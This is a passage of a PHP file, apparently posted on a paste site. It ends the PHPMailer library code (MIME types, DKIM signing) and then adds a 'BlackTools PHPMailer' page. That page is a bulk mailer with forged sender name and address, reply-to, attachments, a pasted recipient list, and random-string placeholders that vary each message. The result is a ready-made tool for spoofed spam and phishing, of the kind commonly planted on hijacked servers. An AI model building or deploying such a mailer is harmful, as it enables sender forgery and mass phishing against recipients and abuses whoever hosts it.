  3536.             'zip'   => 'application/zip',
  3537.             'mid'   => 'audio/midi',
  3538.             'midi'  => 'audio/midi',
  3539.             'mp2'   => 'audio/mpeg',
  3540.             'mp3'   => 'audio/mpeg',
  3541.             'mpga'  => 'audio/mpeg',
  3542.             'aif'   => 'audio/x-aiff',
  3543.             'aifc'  => 'audio/x-aiff',
  3544.             'aiff'  => 'audio/x-aiff',
  3545.             'ram'   => 'audio/x-pn-realaudio',
  3546.             'rm'    => 'audio/x-pn-realaudio',
  3547.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  3548.             'ra'    => 'audio/x-realaudio',
  3549.             'wav'   => 'audio/x-wav',
  3550.             'bmp'   => 'image/bmp',
  3551.             'gif'   => 'image/gif',
  3552.             'jpeg'  => 'image/jpeg',
  3553.             'jpe'   => 'image/jpeg',
  3554.             'jpg'   => 'image/jpeg',
  3555.             'png'   => 'image/png',
  3556.             'tiff'  => 'image/tiff',
  3557.             'tif'   => 'image/tiff',
  3558.             'eml'   => 'message/rfc822',
  3559.             'css'   => 'text/css',
  3560.             'html'  => 'text/html',
  3561.             'htm'   => 'text/html',
  3562.             'shtml' => 'text/html',
  3563.             'log'   => 'text/plain',
  3564.             'text'  => 'text/plain',
  3565.             'txt'   => 'text/plain',
  3566.             'rtx'   => 'text/richtext',
  3567.             'rtf'   => 'text/rtf',
  3568.             'vcf'   => 'text/vcard',
  3569.             'vcard' => 'text/vcard',
  3570.             'xml'   => 'text/xml',
  3571.             'xsl'   => 'text/xml',
  3572.             'mpeg'  => 'video/mpeg',
  3573.             'mpe'   => 'video/mpeg',
  3574.             'mpg'   => 'video/mpeg',
  3575.             'mov'   => 'video/quicktime',
  3576.             'qt'    => 'video/quicktime',
  3577.             'rv'    => 'video/vnd.rn-realvideo',
  3578.             'avi'   => 'video/x-msvideo',
  3579.             'movie' => 'video/x-sgi-movie'
  3580.         );
  3581.         if (array_key_exists(strtolower($ext), $mimes)) {
  3582.             return $mimes[strtolower($ext)];
  3583.         }
  3584.         return 'application/octet-stream';
  3585.     }
  3586.  
  3587.     /**
  3588.      * Map a file name to a MIME type.
  3589.      * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3590.      * @param string $filename A file name or full path, does not need to exist as a file
  3591.      * @return string
  3592.      * @static
  3593.      */
  3594.     public static function filenameToType($filename)
  3595.     {
  3596.         // In case the path is a URL, strip any query string before getting extension
  3597.         $qpos = strpos($filename, '?');
  3598.         if (false !== $qpos) {
  3599.             $filename = substr($filename, 0, $qpos);
  3600.         }
  3601.         $pathinfo = self::mb_pathinfo($filename);
  3602.         return self::_mime_types($pathinfo['extension']);
  3603.     }
  3604.  
  3605.     /**
  3606.      * Multi-byte-safe pathinfo replacement.
  3607.      * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3608.      * Works similarly to the one in PHP >= 5.2.0
  3609.      * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3610.      * @param string $path A filename or path, does not need to exist as a file
  3611.      * @param integer|string $options Either a PATHINFO_* constant,
  3612.      *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3613.      * @return string|array
  3614.      * @static
  3615.      */
  3616.     public static function mb_pathinfo($path, $options = null)
  3617.     {
  3618.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3619.         $pathinfo = array();
  3620.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3621.             if (array_key_exists(1, $pathinfo)) {
  3622.                 $ret['dirname'] = $pathinfo[1];
  3623.             }
  3624.             if (array_key_exists(2, $pathinfo)) {
  3625.                 $ret['basename'] = $pathinfo[2];
  3626.             }
  3627.             if (array_key_exists(5, $pathinfo)) {
  3628.                 $ret['extension'] = $pathinfo[5];
  3629.             }
  3630.             if (array_key_exists(3, $pathinfo)) {
  3631.                 $ret['filename'] = $pathinfo[3];
  3632.             }
  3633.         }
  3634.         switch ($options) {
  3635.             case PATHINFO_DIRNAME:
  3636.             case 'dirname':
  3637.                 return $ret['dirname'];
  3638.             case PATHINFO_BASENAME:
  3639.             case 'basename':
  3640.                 return $ret['basename'];
  3641.             case PATHINFO_EXTENSION:
  3642.             case 'extension':
  3643.                 return $ret['extension'];
  3644.             case PATHINFO_FILENAME:
  3645.             case 'filename':
  3646.                 return $ret['filename'];
  3647.             default:
  3648.                 return $ret;
  3649.         }
  3650.     }
  3651.        
  3652.     /**
  3653.      * Set or reset instance properties.
  3654.      * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3655.      * harder to debug than setting properties directly.
  3656.      * Usage Example:
  3657.      * `$mail->set('SMTPSecure', 'tls');`
  3658.      *   is the same as:
  3659.      * `$mail->SMTPSecure = 'tls';`
  3660.      * @access public
  3661.      * @param string $name The property name to set
  3662.      * @param mixed $value The value to set the property to
  3663.      * @return boolean
  3664.      * @TODO Should this not be using the __set() magic function?
  3665.      */
  3666.     public function set($name, $value = '')
  3667.     {
  3668.         if (property_exists($this, $name)) {
  3669.             $this->$name = $value;
  3670.             return true;
  3671.         } else {
  3672.             $this->setError($this->lang('variable_set') . $name);
  3673.             return false;
  3674.         }
  3675.     }
  3676.  
  3677.     /**
  3678.      * Strip newlines to prevent header injection.
  3679.      * @access public
  3680.      * @param string $str
  3681.      * @return string
  3682.      */
  3683.     public function secureHeader($str)
  3684.     {
  3685.         return trim(str_replace(array("\r", "\n"), '', $str));
  3686.     }
  3687.  
  3688.     /**
  3689.      * Normalize line breaks in a string.
  3690.      * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3691.      * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3692.      * @param string $text
  3693.      * @param string $breaktype What kind of line break to use, defaults to CRLF
  3694.      * @return string
  3695.      * @access public
  3696.      * @static
  3697.      */
  3698.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  3699.     {
  3700.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3701.     }
  3702.  
  3703.     /**
  3704.      * Set the public and private key files and password for S/MIME signing.
  3705.      * @access public
  3706.      * @param string $cert_filename
  3707.      * @param string $key_filename
  3708.      * @param string $key_pass Password for private key
  3709.      * @param string $extracerts_filename Optional path to chain certificate
  3710.      */
  3711.     public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3712.     {
  3713.         $this->sign_cert_file = $cert_filename;
  3714.         $this->sign_key_file = $key_filename;
  3715.         $this->sign_key_pass = $key_pass;
  3716.         $this->sign_extracerts_file = $extracerts_filename;
  3717.     }
  3718.  
  3719.     /**
  3720.      * Quoted-Printable-encode a DKIM header.
  3721.      * @access public
  3722.      * @param string $txt
  3723.      * @return string
  3724.      */
  3725.     public function DKIM_QP($txt)
  3726.     {
  3727.         $line = '';
  3728.         for ($i = 0; $i < strlen($txt); $i++) {
  3729.             $ord = ord($txt[$i]);
  3730.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3731.                 $line .= $txt[$i];
  3732.             } else {
  3733.                 $line .= '=' . sprintf('%02X', $ord);
  3734.             }
  3735.         }
  3736.         return $line;
  3737.     }
  3738.  
  3739.     /**
  3740.      * Generate a DKIM signature.
  3741.      * @access public
  3742.      * @param string $signHeader
  3743.      * @throws phpmailerException
  3744.      * @return string
  3745.      */
  3746.     public function DKIM_Sign($signHeader)
  3747.     {
  3748.         if (!defined('PKCS7_TEXT')) {
  3749.             if ($this->exceptions) {
  3750.                 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3751.             }
  3752.             return '';
  3753.         }
  3754.         $privKeyStr = file_get_contents($this->DKIM_private);
  3755.         if ($this->DKIM_passphrase != '') {
  3756.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3757.         } else {
  3758.             $privKey = $privKeyStr;
  3759.         }
  3760.         if (openssl_sign($signHeader, $signature, $privKey)) {
  3761.             return base64_encode($signature);
  3762.         }
  3763.         return '';
  3764.     }
  3765.  
  3766.     /**
  3767.      * Generate a DKIM canonicalization header.
  3768.      * @access public
  3769.      * @param string $signHeader Header
  3770.      * @return string
  3771.      */
  3772.     public function DKIM_HeaderC($signHeader)
  3773.     {
  3774.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3775.         $lines = explode("\r\n", $signHeader);
  3776.         foreach ($lines as $key => $line) {
  3777.             list($heading, $value) = explode(':', $line, 2);
  3778.             $heading = strtolower($heading);
  3779.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3780.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3781.         }
  3782.         $signHeader = implode("\r\n", $lines);
  3783.         return $signHeader;
  3784.     }
  3785.  
  3786.     /**
  3787.      * Generate a DKIM canonicalization body.
  3788.      * @access public
  3789.      * @param string $body Message Body
  3790.      * @return string
  3791.      */
  3792.     public function DKIM_BodyC($body)
  3793.     {
  3794.         if ($body == '') {
  3795.             return "\r\n";
  3796.         }
  3797.         // stabilize line endings
  3798.         $body = str_replace("\r\n", "\n", $body);
  3799.         $body = str_replace("\n", "\r\n", $body);
  3800.         // END stabilize line endings
  3801.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3802.             $body = substr($body, 0, strlen($body) - 2);
  3803.         }
  3804.         return $body;
  3805.     }
  3806.  
  3807.     /**
  3808.      * Create the DKIM header and body in a new message header.
  3809.      * @access public
  3810.      * @param string $headers_line Header lines
  3811.      * @param string $subject Subject
  3812.      * @param string $body Body
  3813.      * @return string
  3814.      */
  3815.     public function DKIM_Add($headers_line, $subject, $body)
  3816.     {
  3817.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3818.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3819.         $DKIMquery = 'dns/txt'; // Query method
  3820.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3821.         $subject_header = "Subject: $subject";
  3822.         $headers = explode($this->LE, $headers_line);
  3823.         $from_header = '';
  3824.         $to_header = '';
  3825.         $current = '';
  3826.         foreach ($headers as $header) {
  3827.             if (strpos($header, 'From:') === 0) {
  3828.                 $from_header = $header;
  3829.                 $current = 'from_header';
  3830.             } elseif (strpos($header, 'To:') === 0) {
  3831.                 $to_header = $header;
  3832.                 $current = 'to_header';
  3833.             } else {
  3834.                 if (!empty($$current) && strpos($header, ' =?') === 0) {
  3835.                     $$current .= $header;
  3836.                 } else {
  3837.                     $current = '';
  3838.                 }
  3839.             }
  3840.         }
  3841.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3842.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3843.         $subject = str_replace(
  3844.             '|',
  3845.             '=7C',
  3846.             $this->DKIM_QP($subject_header)
  3847.         ); // Copied header fields (dkim-quoted-printable)
  3848.         $body = $this->DKIM_BodyC($body);
  3849.         $DKIMlen = strlen($body); // Length of body
  3850.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3851.         if ('' == $this->DKIM_identity) {
  3852.             $ident = '';
  3853.         } else {
  3854.             $ident = ' i=' . $this->DKIM_identity . ';';
  3855.         }
  3856.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3857.             $DKIMsignatureType . '; q=' .
  3858.             $DKIMquery . '; l=' .
  3859.             $DKIMlen . '; s=' .
  3860.             $this->DKIM_selector .
  3861.             ";\r\n" .
  3862.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3863.             "\th=From:To:Subject;\r\n" .
  3864.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3865.             "\tz=$from\r\n" .
  3866.             "\t|$to\r\n" .
  3867.             "\t|$subject;\r\n" .
  3868.             "\tbh=" . $DKIMb64 . ";\r\n" .
  3869.             "\tb=";
  3870.         $toSign = $this->DKIM_HeaderC(
  3871.             $from_header . "\r\n" .
  3872.             $to_header . "\r\n" .
  3873.             $subject_header . "\r\n" .
  3874.             $dkimhdrs
  3875.         );
  3876.         $signed = $this->DKIM_Sign($toSign);
  3877.         return $dkimhdrs . $signed . "\r\n";
  3878.     }
  3879.  
  3880.     /**
  3881.      * Detect if a string contains a line longer than the maximum line length allowed.
  3882.      * @param string $str
  3883.      * @return boolean
  3884.      * @static
  3885.      */
  3886.     public static function hasLineLongerThanMax($str)
  3887.     {
  3888.         //+2 to include CRLF line break for a 1000 total
  3889.         return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3890.     }
  3891.  
  3892.     /**
  3893.      * Allows for public read access to 'to' property.
  3894.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3895.      * @access public
  3896.      * @return array
  3897.      */
  3898.     public function getToAddresses()
  3899.     {
  3900.         return $this->to;
  3901.     }
  3902.  
  3903.     /**
  3904.      * Allows for public read access to 'cc' property.
  3905.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3906.      * @access public
  3907.      * @return array
  3908.      */
  3909.     public function getCcAddresses()
  3910.     {
  3911.         return $this->cc;
  3912.     }
  3913.  
  3914.     /**
  3915.      * Allows for public read access to 'bcc' property.
  3916.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3917.      * @access public
  3918.      * @return array
  3919.      */
  3920.     public function getBccAddresses()
  3921.     {
  3922.         return $this->bcc;
  3923.     }
  3924.  
  3925.     /**
  3926.      * Allows for public read access to 'ReplyTo' property.
  3927.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3928.      * @access public
  3929.      * @return array
  3930.      */
  3931.     public function getReplyToAddresses()
  3932.     {
  3933.         return $this->ReplyTo;
  3934.     }
  3935.  
  3936.     /**
  3937.      * Allows for public read access to 'all_recipients' property.
  3938.      * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3939.      * @access public
  3940.      * @return array
  3941.      */
  3942.     public function getAllRecipientAddresses()
  3943.     {
  3944.         return $this->all_recipients;
  3945.     }
  3946.  
  3947.     /**
  3948.      * Perform a callback.
  3949.      * @param boolean $isSent
  3950.      * @param array $to
  3951.      * @param array $cc
  3952.      * @param array $bcc
  3953.      * @param string $subject
  3954.      * @param string $body
  3955.      * @param string $from
  3956.      */
  3957.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3958.     {
  3959.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  3960.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3961.             call_user_func_array($this->action_function, $params);
  3962.         }
  3963.     }
  3964. }
  3965.  
  3966. /**
  3967.  * PHPMailer exception handler
  3968.  * @package PHPMailer
  3969.  */
  3970. class phpmailerException extends Exception
  3971. {
  3972.     /**
  3973.      * Prettify error message output
  3974.      * @return string
  3975.      */
  3976.     public function errorMessage()
  3977.     {
  3978.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3979.         return $errorMsg;
  3980.     }
  3981. }
  3982.  
  3983. print '
  3984. <head>
  3985.    <title>BlackTools PHPMailer</title>
  3986.    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3987.    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3988.    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3989.    <link rel="icon" href="http://blacktools.io/icon.ico" type="image/x-icon" />
  3990. <link rel="shortcut icon" href="http://blacktools.io/icon.ico" type="image/x-icon" />
  3991.    
  3992. </head>';
  3993.  
  3994. print '<body style="background-color: #E6E6E6;">';
  3995. print '<div class="container col-lg-6">
  3996.        <h3> <img src="http://blacktools.io/images/logo.jpg" height="42" width="42" /> BlackTools PHPMailer <small>'.$leaf['version'].'</small></h3>
  3997.        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3998.            <div class="row">
  3999.                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  4000.                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  4001.            </div>
  4002.            <div class="row">
  4003.                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  4004.  
  4005.                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  4006.            </div>
  4007.            <div class="row">
  4008.                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  4009.            </div>
  4010.            <div class="row">
  4011.                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  4012.                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  4013.            </div>
  4014.            <div class="row">
  4015.                <div class="form-group col-lg-6 ">
  4016.                    <label for="messageType">Message Type</label>
  4017.                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4018.                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4019.                </div>
  4020.                <div class="form-group col-lg-3 ">
  4021.                    <label for="encode">Encode Type</label>
  4022.                    <select class="form-control input-sm" id="encode" name="encode">
  4023.                        <option value="UTF-8" selected>UTF-8 Encode</option>
  4024.                        <option value="UTF-8">ISO Encode</option>
  4025.                    </select>
  4026.                </div>
  4027.            </div>
  4028.            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  4029.  
  4030.        </form>
  4031.    </div>
  4032.    <div class="col-lg-6"><br>
  4033.        <label for="well">Instruction</label>
  4034.        <div id="well" class="well well" >
  4035.            <h4>Server Information</h4>
  4036.            <ul>
  4037.                <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
  4038.  
  4039.            </ul>
  4040.            <h4>HELP</h4>
  4041.            <ul>
  4042.                <li>[-email-] : <b>Reciver Email</b></li>
  4043.                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4044.                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4045.                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4046.                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  4047.                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4048.                <li>[-randommd5-] : <b>Random MD5 </b></li>
  4049.            </ul>
  4050.            <h4>example</h4>
  4051.            Reciver Email = <b>user@domain.com</b><br>
  4052.            <ul>
  4053.                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4054.                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4055.            </ul>
  4056.  
  4057.            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4058.        </div>
  4059.    </div>';    
  4060.    
  4061. if($_POST['action']=="send"){
  4062.     print '    <div class="col-lg-12">';
  4063.     $maillist=explode("\r\n", $emailList);
  4064.     $n=count($maillist);
  4065.     $x =1;
  4066.     foreach ($maillist as $email ) {
  4067.         print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4068.         if(!leafMailCheck($email)) {
  4069.             print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4070.             print "<br>\r\n";
  4071.         }
  4072.         else {
  4073.             $mail = new PHPMailer;
  4074.             $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4075.             $mail->addReplyTo(leafClear($replyTo,$email));
  4076.             $mail->addAddress($email);
  4077.             $mail->Subject = leafClear($subject,$email);
  4078.             $mail->Body =  leafClear($messageLetter,$email);
  4079.             $mail->CharSet = $encode;
  4080.             for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4081.                 if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4082.                     $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4083.                 }
  4084.  
  4085.             }
  4086.             if($messageType==1){$mail->IsHTML(true);}
  4087.             else {$mail->IsHTML(false);}
  4088.             if (!$mail->send()) {
  4089.                 echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4090.             }
  4091.             else {
  4092.                 echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  4093.             }
  4094.             print "<br>\r\n";
  4095.         }
  4096.         $x++;
  4097.         for($k = 0; $k < 40000; $k++) {echo ' ';}
  4098.     }
  4099.  
  4100. }
  4101. print '</body>';
  4102. ?>
Add Comment
Please, Sign In to add comment